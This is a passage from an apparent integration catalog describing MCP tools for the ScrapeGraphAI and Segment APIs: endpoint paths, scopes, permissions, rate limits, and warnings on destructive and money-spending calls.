/api/v1/scrapegraphai/api/crawl. Scopes: api. scrapegraphai_post_api_crawl_by_id_resume (write) — Resume a paused crawl. POST /api/crawl/{id}/resume. POST /api/v1/scrapegraphai/api/crawl/{id}/resume. Scopes: api. scrapegraphai_post_api_crawl_by_id_stop (write) — Stop a running crawl. POST /api/crawl/{id}/stop. POST /api/v1/scrapegraphai/api/crawl/{id}/stop. Scopes: api. scrapegraphai_post_api_credits_purchase_by_pack (write, destructive) — Buy a credit pack with USDC. SPENDS THE CONNECTED ACCOUNT'S MONEY: this BUYS a credit pack, paid in USDC over the Machine Payments Protocol, and adds the credits to the account this connection holds the key for. It is not a quote and not a dry run -- there is no preview form of this call. It cannot complete on an API key alone: an unpaid request answers 402 with a 'WWW-Authenticate: Payment' challenge that only a funded MPP wallet can settle, and this connection holds no wallet credential, so a 402 here is the EXPECTED outcome rather than a failure to retry. Never call it again on a 402, and never call it speculatively: repeated payment is repeated spending. Read the balance first with Get credits balance, which is free. POST /api/credits/purchase/{pack}. Purchase a credit pack by paying USDC over the Machine Payments Protocol (MPP). An unpaid request returns 402 with a WWW-Authenticate: Payment challenge; pay it and retry with Authorization: Payment <credential> to receive credits and a Payment-Receipt header. POST /api/v1/scrapegraphai/api/credits/purchase/{pack}. Scopes: api. scrapegraphai_post_api_extract (write) — Extract structured JSON. POST /api/extract. LLM-driven extraction from a URL, HTML, or markdown input with a prompt+schema. POST /api/v1/scrapegraphai/api/extract. Scopes: api. scrapegraphai_post_api_monitor (write) — Create a monitor. POST /api/monitor. POST /api/v1/scrapegraphai/api/monitor. Scopes: api. scrapegraphai_post_api_monitor_by_id_pause (write) — Pause a monitor. POST /api/monitor/{id}/pause. POST /api/v1/scrapegraphai/api/monitor/{id}/pause. Scopes: api. scrapegraphai_post_api_monitor_by_id_resume (write) — Resume a monitor. POST /api/monitor/{id}/resume. POST /api/v1/scrapegraphai/api/monitor/{id}/resume. Scopes: api. scrapegraphai_post_api_scrape (write) — Scrape a URL. POST /api/scrape. Fetches a URL and returns the requested format(s): markdown, html, links, images, summary, json, branding, screenshot. POST /api/v1/scrapegraphai/api/scrape. Scopes: api. scrapegraphai_post_api_search (write) — Search + scrape top results. POST /api/search. Runs a search, scrapes the top N result URLs, optionally runs LLM extraction with prompt+schema. POST /api/v1/scrapegraphai/api/search. Scopes: api. ================================================================================ ## Segment URL: https://www.agenticfabriq.com/integrations/segment Section: Integrated Tools Segment — 202 MCP tools Provider key: segment. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. segment_delete_credentials_by_credentialid (write, destructive) — Delete Credential. Deletes an existing Credential. Fails with a `409 Conflict` if the Credential is still in use by a Warehouse or Source (including a disabled one). This check isn't atomic with the delete — a Warehouse or Source that attaches to this Credential in between would be orphaned rather than blocking the delete. • When called, this endpoint may generate the `Warehouse Credential Deleted` event in the [audit trail](/tag/Audit-Trail). This endpoint requires the user to have at least the following permission(s): * Workspace Owner. DESTRUCTIVE: this removes the resource it names. DELETE /api/v1/segment/credentials/{credentialId}. Scopes: api. segment_delete_destination_by_destinationid_filters_by_filterid (write, destructive) — Remove Filter from Destination. Deletes a Destination filter. • When called, this endpoint may generate the `Destination Filter Deleted` event in the [audit trail](/tag/Audit-Trail). DESTRUCTIVE: this removes the resource it names. DELETE /api/v1/segment/destination/{destinationId}/filters/{filterId}. Scopes: api. segment_delete_destinations_by_destinationid (write, destructive) — Delete Destination. Deletes an existing Destination. • When called, this endpoint may generate the `Integration Deleted` event in the [audit trail](/tag/Audit-Trail). Config API omitted fields: - `catalogId`. DESTRUCTIVE: this removes the resource it names. DELETE /api/v1/segment/destinations/{destinationId}. Scopes: api. segment_delete_destinations_by_destinationid_subscriptions_by_id (write, destructive) — Remove Subscription from Destination. Deletes an existing Destination subscription. • This endpoint is in **Alpha** testing. Please submit any feedback by sending an email to friends@segment.com. • In order to successfully call this endpoint, the specified Workspace needs to have the Destination Subscriptions feature enabled. Please reach out to your customer success manager for more information. The rate limit for this endpoint is 5 requests per minute, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. DESTRUCTIVE: this removes the resource it names. DELETE /api/v1/segment/destinations/{destinationId}/subscriptions/{id}. Scopes: api. segment_delete_filters_by_id (write, destructive) — Delete Filter By Id. Deletes a filter by id. • This endpoint is in **Beta** testing. Please submit any feedback by sending an email to friends@segment.com. • In order to successfully call this endpoint, the specified Workspace needs to have the Space Filters feature enabled. Please reach out to your customer success manager for more information. • When called, this endpoint may generate the `Filter Deleted` event in the [audit trail](/tag/Audit-Trail). DESTRUCTIVE: this removes the resource it names. DELETE /api/v1/segment/filters/{id}. Scopes: api. segment_delete_functions_by_functionid (write, destructive) — Delete Function. Deletes a Function. • In order to successfully call this endpoint, the specified Workspace needs to have the Functions feature enabled. Please reach out to your customer success manager for more information. DESTRUCTIVE: this removes the resource it names. DELETE /api/v1/segment/functions/{functionId}. Scopes: api. segment_delete_group_by_usergroupid_users (write, destructive) — Remove Users from User Group. Removes one or multiple users or invites from a user group by email. • When called, this endpoint may generate one or more of the following [audit trail](/tag/Audit-Trail) events:* Group Memberships Deleted * User Removed From User Group The rate limit for this endpoint is 60 requests per minute, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. DESTRUCTIVE: this removes the resource it names. DELETE /api/v1/segment/group/{userGroupId}/users. Scopes: api. segment_delete_groups_by_usergroupid (write, destructive) — Delete User Group. Removes a user group from a Workspace. • When called, this endpoint may generate the `User Group Deleted` event in the [audit trail](/tag/Audit-Trail). The rate limit for this endpoint is 60 requests per minute, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. DESTRUCTIVE: this removes the resource it names. DELETE /api/v1/segment/groups/{userGroupId}. Scopes: api. segment_delete_insert_function_instances_by_instanceid (write, destructive) — Delete Insert Function Instance. Deletes an insert Function instance. • In order to successfully call this endpoint, the specified Workspace needs to have the Functions feature enabled. Please reach out to your customer success manager for more information. DESTRUCTIVE: this removes the resource it names. DELETE /api/v1/segment/insert-function-instances/{instanceId}. Scopes: api. segment_delete_invites (write, destructive) — Delete Invites. Removes a list of invitations to join a Workspace. • When called, this endpoint may generate one or more of the following [audit trail](/tag/Audit-Trail) events:* Invite Deleted * Group Memberships Deleted The rate limit for this endpoint is 60 requests per minute, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. DESTRUCTIVE: this removes the resource it names. NOT route-validated by the build sweep: no path parameter, so a probe would have revoked real pending invites in the shared workspace rather than answering about a sentinel. DELETE /api/v1/segment/invites. Scopes: api. segment_delete_labels_by_key_by_value (write, destructive) — Delete Label. Deletes a label. • When called, this endpoint may generate the `Label Deleted` event in the [audit trail](/tag/Audit-Trail). The rate limit for this endpoint is 60 requests per minute, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. DESTRUCTIVE: this removes the resource it names. DELETE /api/v1/segment/labels/{key}/{value}. Scopes: api. segment_delete_reverse_etl_models_by_modelid (write, destructive) — Delete Reverse Etl Model. Deletes an existing Model. • When called, this endpoint may generate the `Model Deleted` event in the [audit trail](/tag/Audit-Trail). DESTRUCTIVE: this removes the resource it names. DELETE /api/v1/segment/reverse-etl-models/{modelId}. Scopes: api. segment_delete_sources_by_sourceid (write, destructive) — Delete Source. Deletes an existing Source. • When called, this endpoint may generate the `Source Deleted` event in the [audit trail](/tag/Audit-Trail). DESTRUCTIVE: this removes the resource it names. DELETE /api/v1/segment/sources/{sourceId}. Scopes: api. segment_delete_sources_by_sourceid_live_plugins_delete_code (write, destructive) — Delete Live Plugin Code. Delete the Live Plugin code for a Source. This will not disable Live Plugins for the Source, but will remove any existing code. • This endpoint is in **Alpha** testing. Please submit any feedback by sending an email to friends@segment.com. • In order to successfully call this endpoint, the specified Workspace needs to have the Live Plugins feature enabled. Please reach out to your customer success manager for more information. DESTRUCTIVE: this removes the resource it names. DELETE /api/v1/segment/sources/{sourceId}/live-plugins/delete-code. Scopes: api. segment_delete_sources_by_sourceid_writekey_by_writekey (write, destructive) — Remove Write Key from Source. Removes a Write Key from a Source. • When called, this endpoint may generate the `Source Modified` event in the [audit trail](/tag/Audit-Trail). DESTRUCTIVE: this removes the resource it names. DELETE /api/v1/segment/sources/{sourceId}/writekey/{writeKey}. Scopes: api. segment_delete_spaces_by_spaceid_audiences_by_audienceid_activations_by_id (write, destructive) — Remove Activation from Audience. Deletes an Activation. The rate limit for this endpoint is 50 requests per minute, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. DESTRUCTIVE: this removes the resource it names. DELETE /api/v1/segment/spaces/{spaceId}/audiences/{audienceId}/activations/{id}. Scopes: api. segment_delete_spaces_by_spaceid_audiences_by_audienceid_destination_connections_by_destinationid (write, destructive) — Remove Destination from Audience. Removes a Destination from an Audience. If there are activations associated with the Destination, the request will return a 409 Conflict error. • In order to successfully call this endpoint, the specified Workspace needs to have the Audience feature enabled. Please reach out to your customer success manager for more information. DESTRUCTIVE: this removes the resource it names. DELETE /api/v1/segment/spaces/{spaceId}/audiences/{audienceId}/destination-connections/{destinationId}. Scopes: api. segment_delete_spaces_by_spaceid_audiences_by_id (write, destructive) — Remove Audience from Space. Deletes an Audience by id and spaceId. • In order to successfully call this endpoint, the specified Workspace needs to have the Audience feature enabled. Please reach out to your customer success manager for more information. • When called, this endpoint may generate the `Audience Deleted` event in the [audit trail](/tag/Audit-Trail). The rate limit for this endpoint is 50 requests per minute, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. DESTRUCTIVE: this removes the resource it names. DELETE /api/v1/segment/spaces/{spaceId}/audiences/{id}. Scopes: api. segment_delete_spaces_by_spaceid_audiences_by_id_schedules_by_scheduleid (write, destructive) — Remove Audience Schedule from Audience. Deletes an audience schedule for a Linked Audience (audienceType = LINKED). • In order to successfully call this endpoint, the specified Workspace needs to have the Audience feature enabled. Please reach out to your customer success manager for more information. The rate limit for this endpoint is 50 requests per minute, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. DESTRUCTIVE: this removes the resource it names. DELETE /api/v1/segment/spaces/{spaceId}/audiences/{id}/schedules/{scheduleId}. Scopes: api. segment_delete_spaces_by_spaceid_computed_traits_by_id (write, destructive) — Remove Computed Trait from Space. Deletes a Computed Trait by id and spaceId. • This endpoint is in **Alpha** testing. Please submit any feedback by sending an email to friends@segment.com. • In order to successfully call this endpoint, the specified Workspace needs to have the Computed Trait feature enabled. Please reach out to your customer success manager for more information. • When called, this endpoint may generate the `Computed Trait Deleted` event in the [audit trail](/tag/Audit-Trail). The rate limit for this endpoint is 20 requests per minute, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. DESTRUCTIVE: this removes the resource it names. DELETE /api/v1/segment/spaces/{spaceId}/computed-traits/{id}. Scopes: api. segment_delete_spaces_by_spaceid_profiles_warehouses_by_warehouseid (write, destructive) — Remove Profiles Warehouse from Space. Deletes an existing Profiles Warehouse. • When called, this endpoint may generate the `Profiles Sync Warehouse Deleted` event in the [audit trail](/tag/Audit-Trail). DESTRUCTIVE: this removes the resource it names. DELETE /api/v1/segment/spaces/{spaceId}/profiles-warehouses/{warehouseId}. Scopes: api. segment_delete_tracking_plans_by_trackingplanid (write, destructive) — Delete Tracking Plan. Deletes a Tracking Plan. • In order to successfully call this endpoint, the specified Workspace needs to have the Protocols feature enabled. Please reach out to your customer success manager for more information. DESTRUCTIVE: this removes the resource it names. DELETE /api/v1/segment/tracking-plans/{trackingPlanId}. Scopes: api. segment_delete_tracking_plans_by_trackingplanid_rules (write, destructive) — Remove Rules from Tracking Plan. Deletes Tracking Plan rules. • In order to successfully call this endpoint, the specified Workspace needs to have the Protocols feature enabled. Please reach out to your customer success manager for more information. DESTRUCTIVE: this removes the resource it names. DELETE /api/v1/segment/tracking-plans/{trackingPlanId}/rules. Scopes: api. segment_delete_tracking_plans_by_trackingplanid_sources (write, destructive) — Remove Source from Tracking Plan. Disconnects a Source from a Tracking Plan. • When called, this endpoint may generate the `Source Modified` event in the [audit trail](/tag/Audit-Trail). • In order to successfully call this endpoint, the specified Workspace needs to have the Protocols feature enabled. Please reach out to your customer success manager for more information. DESTRUCTIVE: this removes the resource it names. DELETE /api/v1/segment/tracking-plans/{trackingPlanId}/sources. Scopes: api. segment_delete_transformations_by_transformationid (write, destructive) — Delete Transformation. Deletes a Transformation. • When called, this endpoint may generate the `Transformation Deleted` event in the [audit trail](/tag/Audit-Trail). • In order to successfully call this endpoint, the specified Workspace needs to have the Protocols feature enabled. Please reach out to your customer success manager for more information. DESTRUCTIVE: this removes the resource it names. DELETE /api/v1/segment/transformations/{transformationId}. Scopes: api. segment_delete_users (write, destructive) — Delete Users. Removes one or multiple users. • When called, this endpoint may generate the `Group Memberships Deleted` event in the [audit trail](/tag/Audit-Trail). The rate limit for this endpoint is 60 requests per minute, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. DESTRUCTIVE: this removes the resource it names. NOT route-validated by the build sweep: no path parameter, so a probe would have removed real workspace users rather than answering about a sentinel. DELETE /api/v1/segment/users. Scopes: api. segment_delete_warehouses_by_warehouseid (write, destructive) — Delete Warehouse. Deletes an existing Warehouse. • When called, this endpoint may generate the `Storage Destination Deleted` event in the [audit trail](/tag/Audit-Trail). DESTRUCTIVE: this removes the resource it names. DELETE /api/v1/segment/warehouses/{warehouseId}. Scopes: api. segment_delete_warehouses_by_warehouseid_connected_sources_by_sourceid (write, destructive) — Remove Source Connection from Warehouse. Disconnects a Source from a Warehouse. DESTRUCTIVE: this removes the resource it names. DELETE /api/v1/segment/warehouses/{warehouseId}/connected-sources/{sourceId}. Scopes: api. segment_get (read) — Get Workspace. Returns the Workspace associated with the token used to access this resource. GET /api/v1/segment. Scopes: api. segment_get_audit_events (read) — List Audit Events. Returns a list of Audit Trail events. GET /api/v1/segment/audit-events. Scopes: api. segment_get_catalog_destinations (read) — Get Destinations Catalog. Returns a list of all available Destinations in the Segment catalog. GET /api/v1/segment/catalog/destinations. Scopes: api. segment_get_catalog_destinations_by_destinationmetadataid (read) — Get Destination Metadata. Returns a Destination catalog item by its id. GET /api/v1/segment/catalog/destinations/{destinationMetadataId}. Scopes: api. segment_get_catalog_sources (read) — Get Sources Catalog. Returns a list of all available Sources in the Segment catalog. GET /api/v1/segment/catalog/sources. Scopes: api. segment_get_catalog_sources_by_sourcemetadataid (read) — Get Source Metadata. Returns a Source catalog item by its id. GET /api/v1/segment/catalog/sources/{sourceMetadataId}. Scopes: api. segment_get_catalog_warehouses (read) — Get Warehouses Catalog. Returns a list of all available Warehouses in the Segment catalog. GET /api/v1/segment/catalog/warehouses. Scopes: api. segment_get_catalog_warehouses_by_warehousemetadataid (read) — Get Warehouse Metadata. Returns a Warehouse catalog item by its id. GET /api/v1/segment/catalog/warehouses/{warehouseMetadataId}. Scopes: api. segment_get_credentials (read) — List Credentials. Returns a list of Credentials. This endpoint requires the user to have at least the following permission(s): * Workspace Owner * Warehouse Admin * Source Admin * Entities Admin * Unify and Engage Admin. GET /api/v1/segment/credentials. Scopes: api. segment_get_credentials_by_credentialid (read) — Get Credential. Returns a Credential by its id. This endpoint requires the user to have at least the following permission(s): * Workspace Owner * Warehouse Admin * Source Admin * Entities Admin * Unify and Engage Admin. GET /api/v1/segment/credentials/{credentialId}. Scopes: api. segment_get_credentials_by_credentialid_consumers (read) — List Credential Consumers. Returns the Warehouses and Sources that use a Credential. This endpoint requires the user to have at least the following permission(s): * Workspace Owner * Warehouse Admin * Source Admin * Entities Admin * Unify and Engage Admin. GET /api/v1/segment/credentials/{credentialId}/consumers. Scopes: api. segment_get_delivery_overview_failed_delivery (read) — Get Egress Failed Metrics from Delivery Overview. Get events that failed to be delivered to Destination. GET /api/v1/segment/delivery-overview/failed-delivery. Scopes: api. segment_get_delivery_overview_failed_on_ingest (read) — Get Ingress Failed Metrics from Delivery Overview. Get events that failed on ingest. GET /api/v1/segment/delivery-overview/failed-on-ingest. Scopes: api. segment_get_delivery_overview_filtered_at_destination (read) — Get Filtered At Destination Metrics from Delivery Overview. Get events that were filtered at Destination. GET /api/v1/segment/delivery-overview/filtered-at-destination. Scopes: api. segment_get_delivery_overview_filtered_at_source (read) — Get Filtered At Source Metrics from Delivery Overview. Get events that were filtered at Source. GET /api/v1/segment/delivery-overview/filtered-at-source. Scopes: api. segment_get_delivery_overview_successful_delivery (read) — Get Egress Success Metrics from Delivery Overview. Get events successfully delivered to Destination. GET /api/v1/segment/delivery-overview/successful-delivery. Scopes: api. segment_get_delivery_overview_successfully_received (read) — Get Ingress Success Metrics from Delivery Overview. Get events that were successfully received by Segment. GET /api/v1/segment/delivery-overview/successfully-received. Scopes: api. segment_get_destination_by_destinationid_filters (read) — List Filters from Destination. Lists filters for a Destination. GET /api/v1/segment/destination/{destinationId}/filters. Scopes: api. segment_get_destination_by_destinationid_filters_by_filterid (read) — Get Filter in Destination. Gets a Destination filter by id. GET /api/v1/segment/destination/{destinationId}/filters/{filterId}. Scopes: api. segment_get_destinations (read) — List Destinations. Returns a list of Destinations. GET /api/v1/segment/destinations. Scopes: api. segment_get_destinations_by_destinationid (read) — Get Destination. Returns a Destination by its id. Config API omitted fields: - `catalogId`. GET /api/v1/segment/destinations/{destinationId}. Scopes: api. segment_get_destinations_by_destinationid_delivery_metrics (read) — List Delivery Metrics Summary from Destination. Get an event delivery metrics summary from a Destination. Based on the granularity chosen, there are restrictions on the time range you can query: **Minute**: - Max time range: 4 hours - Oldest possible start time: 48 hours in the past **Hour**: - Max Time range: 7 days - Oldest possible start time: 7 days in the past **Day**: - Max time range: 14 days - Oldest possible start time: 14 days in the past. GET /api/v1/segment/destinations/{destinationId}/delivery-metrics. Scopes: api. segment_get_destinations_by_destinationid_subscriptions (read) — List Subscriptions from Destination. Lists subscriptions for a Destination. • This endpoint is in **Alpha** testing. Please submit any feedback by sending an email to friends@segment.com. • In order to successfully call this endpoint, the specified Workspace needs to have the Destination Subscriptions feature enabled. Please reach out to your customer success manager for more information. GET /api/v1/segment/destinations/{destinationId}/subscriptions. Scopes: api. segment_get_destinations_by_destinationid_subscriptions_by_id (read) — Get Subscription from Destination. Gets a Destination subscription by id. • This endpoint is in **Alpha** testing. Please submit any feedback by sending an email to friends@segment.com. • In order to successfully call this endpoint, the specified Workspace needs to have the Destination Subscriptions feature enabled. Please reach out to your customer success manager for more information. GET /api/v1/segment/destinations/{destinationId}/subscriptions/{id}. Scopes: api. segment_get_echo (read) — Echo. Public Echo endpoint. GET /api/v1/segment/echo. Scopes: api. segment_get_events_volume (read) — Get Events Volume from Workspace. Enumerates the Workspace event volumes over time in minute increments. The rate limit for this endpoint is 60 requests per minute, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. GET /api/v1/segment/events/volume. Scopes: api. segment_get_filters (read) — List Filters for Space. Lists filters for a space. • This endpoint is in **Beta** testing. Please submit any feedback by sending an email to friends@segment.com. • In order to successfully call this endpoint, the specified Workspace needs to have the Space Filters feature enabled. Please reach out to your customer success manager for more information. GET /api/v1/segment/filters. Scopes: api. segment_get_filters_by_id (read) — Get Filter By Id. Gets a filter by id. • This endpoint is in **Beta** testing. Please submit any feedback by sending an email to friends@segment.com. • In order to successfully call this endpoint, the specified Workspace needs to have the Space Filters feature enabled. Please reach out to your customer success manager for more information. GET /api/v1/segment/filters/{id}. Scopes: api. segment_get_functions (read) — List Functions. Lists all Functions in a Workspace. • In order to successfully call this endpoint, the specified Workspace needs to have the Functions feature enabled. Please reach out to your customer success manager for more information. GET /api/v1/segment/functions. Scopes: api. segment_get_functions_by_functionid (read) — Get Function. Gets a Function. • In order to successfully call this endpoint, the specified Workspace needs to have the Functions feature enabled. Please reach out to your customer success manager for more information. GET /api/v1/segment/functions/{functionId}. Scopes: api. segment_get_functions_by_functionid_versions (read) — List Function Versions. Lists versions for a Function in a Workspace. • In order to successfully call this endpoint, the specified Workspace needs to have the Functions feature enabled. Please reach out to your customer success manager for more information. GET /api/v1/segment/functions/{functionId}/versions. Scopes: api. segment_get_functions_by_functionid_versions_by_versionid (read) — Get Function Version. Gets a Function version. • In order to successfully call this endpoint, the specified Workspace needs to have the Functions feature enabled. Please reach out to your customer success manager for more information. GET /api/v1/segment/functions/{functionId}/versions/{versionId}. Scopes: api. segment_get_groups (read) — List User Groups. Returns all user groups. GET /api/v1/segment/groups. Scopes: api. segment_get_groups_by_usergroupid (read) — Get User Group. Returns a user group. GET /api/v1/segment/groups/{userGroupId}. Scopes: api. segment_get_groups_by_usergroupid_invites (read) — List Invites from User Group. Returns the emails of invitees to a user group. GET /api/v1/segment/groups/{userGroupId}/invites. Scopes: api. segment_get_groups_by_usergroupid_users (read) — List Users from User Group. Returns users belonging to a user group. GET /api/v1/segment/groups/{userGroupId}/users. Scopes: api. segment_get_insert_function_instances (read) — List Insert Function Instances. Lists all insert Function instances connected to the given insert Function. • In order to successfully call this endpoint, the specified Workspace needs to have the Functions feature enabled. Please reach out to your customer success manager for more information. GET /api/v1/segment/insert-function-instances. Scopes: api. segment_get_insert_function_instances_by_instanceid (read) — Get Insert Function Instance. Gets an insert Function instance. • In order to successfully call this endpoint, the specified Workspace needs to have the Functions feature enabled. Please reach out to your customer success manager for more information. GET /api/v1/segment/insert-function-instances/{instanceId}. Scopes: api. segment_get_invites (read) — List Invites. Returns a list of invitations to join a Workspace. Config API omitted fields: - `parent`. GET /api/v1/segment/invites. Scopes: api. segment_get_labels (read) — List Labels. Returns a list of all available labels. GET /api/v1/segment/labels. Scopes: api. segment_get_regulations (read) — List Workspace Regulations. Lists all Workspace-scoped regulations. Please note: List Workspace regulations only returns deletion requests from the past 90 days. Deletion requests older than 90 days are not retained and will result in 404 resource not found. GET /api/v1/segment/regulations. Scopes: api. segment_get_regulations_by_regulateid (read) — Get Regulation. Gets a regulation from the Workspace. Config API omitted fields: - `parent`. GET /api/v1/segment/regulations/{regulateId}. Scopes: api. segment_get_regulations_sources_by_sourceid (read) — List Regulations from Source. Lists all Source-scoped regulations. Please note: List regulations for Source only returns deletion requests from the past 90 days. Deletion requests older than 90 days are not retained and will result in 404 resource not found. GET /api/v1/segment/regulations/sources/{sourceId}. Scopes: api. segment_get_reverse_etl_models (read) — List Reverse Etl Models. Returns a list of Reverse ETL Models. GET /api/v1/segment/reverse-etl-models. Scopes: api. segment_get_reverse_etl_models_by_modelid (read) — Get Reverse Etl Model. Returns a Reverse ETL Model by its id. GET /api/v1/segment/reverse-etl-models/{modelId}. Scopes: api. segment_get_reverse_etl_models_by_modelid_subscriptionid_by_subscriptionid_syncs (read) — List Reverse ETL Sync Statuses from Model And Subscription Id. Get the sync statuses for a Reverse ETL mapping subscription. The sync status includes all detailed information about the sync - sync status, duration, details about the extract and load phase if applicable, etc. The default page count is 10, and then the next page can be fetched by passing the `cursor` query parameter. GET /api/v1/segment/reverse-etl-models/{modelId}/subscriptionId/{subscriptionId}/syncs. Scopes: api. segment_get_reverse_etl_models_by_modelid_syncs_by_syncid (read) — Get Reverse ETL Sync Status. Get the sync status for a Reverse ETL sync. The sync status includes all detailed information about the sync - sync status, duration, details about the extract and load phase if applicable, etc. The rate limit for this endpoint is 250 requests per minute, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. GET /api/v1/segment/reverse-etl-models/{modelId}/syncs/{syncId}. Scopes: api. segment_get_roles (read) — List Roles. Returns a list of Roles available to apply to permissions for users and/or groups. GET /api/v1/segment/roles. Scopes: api. segment_get_sources (read) — List Sources. Returns a list of Sources. GET /api/v1/segment/sources. Scopes: api. segment_get_sources_by_sourceid (read) — Get Source. Returns a Source by its id. GET /api/v1/segment/sources/{sourceId}. Scopes: api. segment_get_sources_by_sourceid_connected_destinations (read) — List Connected Destinations from Source. Returns a list of Destinations connected to a Source. GET /api/v1/segment/sources/{sourceId}/connected-destinations. Scopes: api. segment_get_sources_by_sourceid_connected_warehouses (read) — List Connected Warehouses from Source. Returns a list of Warehouses connected to a Source. GET /api/v1/segment/sources/{sourceId}/connected-warehouses. Scopes: api. segment_get_sources_by_sourceid_live_plugins_latest (read) — Get Latest from Live Plugins. Get the latest Live Plugins for your Source. • This endpoint is in **Alpha** testing. Please submit any feedback by sending an email to friends@segment.com. • In order to successfully call this endpoint, the specified Workspace needs to have the Live Plugins feature enabled. Please reach out to your customer success manager for more information. GET /api/v1/segment/sources/{sourceId}/live-plugins/latest. Scopes: api. segment_get_sources_by_sourceid_settings (read) — List Schema Settings in Source. Retrieves the schema configuration settings for a Source. If Protocols is not enabled for the Source, the configurations specific to Protocols will have default values. GET /api/v1/segment/sources/{sourceId}/settings. Scopes: api. segment_get_spaces (read) — List Spaces. List Spaces. • This endpoint is in **Alpha** testing. Please submit any feedback by sending an email to friends@segment.com. • In order to successfully call this endpoint, the specified Workspace needs to have the Spaces feature enabled. Please reach out to your customer success manager for more information. GET /api/v1/segment/spaces. Scopes: api. segment_get_spaces_by_spaceid (read) — Get Space. Returns the Space by id. • This endpoint is in **Alpha** testing. Please submit any feedback by sending an email to friends@segment.com. • In order to successfully call this endpoint, the specified Workspace needs to have the Spaces feature enabled. Please reach out to your customer success manager for more information. GET /api/v1/segment/spaces/{spaceId}. Scopes: api. segment_get_spaces_by_spaceid_audiences (read) — List Audiences. Returns Audiences by spaceId. Supports including audience schedules using `?include=schedules`. • In order to successfully call this endpoint, the specified Workspace needs to have the Audience feature enabled. Please reach out to your customer success manager for more information. The rate limit for this endpoint is 60 requests per minute, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. GET /api/v1/segment/spaces/{spaceId}/audiences. Scopes: api. segment_get_spaces_by_spaceid_audiences_by_audienceid_activations (read) — List Activations from Audience. Lists all Activations. The rate limit for this endpoint is 60 requests per minute, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. GET /api/v1/segment/spaces/{spaceId}/audiences/{audienceId}/activations. Scopes: api. segment_get_spaces_by_spaceid_audiences_by_audienceid_activations_by_id (read) — Get Activation from Audience. Gets a single Activation by id. The rate limit for this endpoint is 60 requests per minute, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. GET /api/v1/segment/spaces/{spaceId}/audiences/{audienceId}/activations/{id}. Scopes: api. segment_get_spaces_by_spaceid_audiences_by_audienceid_destination_connections (read) — List Destinations from Audience. Lists all Destinations from an Audience. • In order to successfully call this endpoint, the specified Workspace needs to have the Audience feature enabled. Please reach out to your customer success manager for more information. The rate limit for this endpoint is 50 requests per minute, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. GET /api/v1/segment/spaces/{spaceId}/audiences/{audienceId}/destination-connections. Scopes: api. segment_get_spaces_by_spaceid_audiences_by_id (read) — Get Audience. Returns the Audience by id and spaceId. Supports including audience schedules using `?include=schedules`. • In order to successfully call this endpoint, the specified Workspace needs to have the Audience feature enabled. Please reach out to your customer success manager for more information. The rate limit for this endpoint is 100 requests per minute, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. GET /api/v1/segment/spaces/{spaceId}/audiences/{id}. Scopes: api. segment_get_spaces_by_spaceid_audiences_by_id_audience_references (read) — List Audience Consumers from Space And Audience. Returns the list of consumers for the given audience. • In order to successfully call this endpoint, the specified Workspace needs to have the Audience feature enabled. Please reach out to your customer success manager for more information. The rate limit for this endpoint is 25 requests per minute, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. GET /api/v1/segment/spaces/{spaceId}/audiences/{id}/audience-references. Scopes: api. segment_get_spaces_by_spaceid_audiences_by_id_schedules (read) — List Audience Schedules from Space And Audience. Returns the list of schedules for the given audience. • In order to successfully call this endpoint, the specified Workspace needs to have the Audience feature enabled. Please reach out to your customer success manager for more information. GET 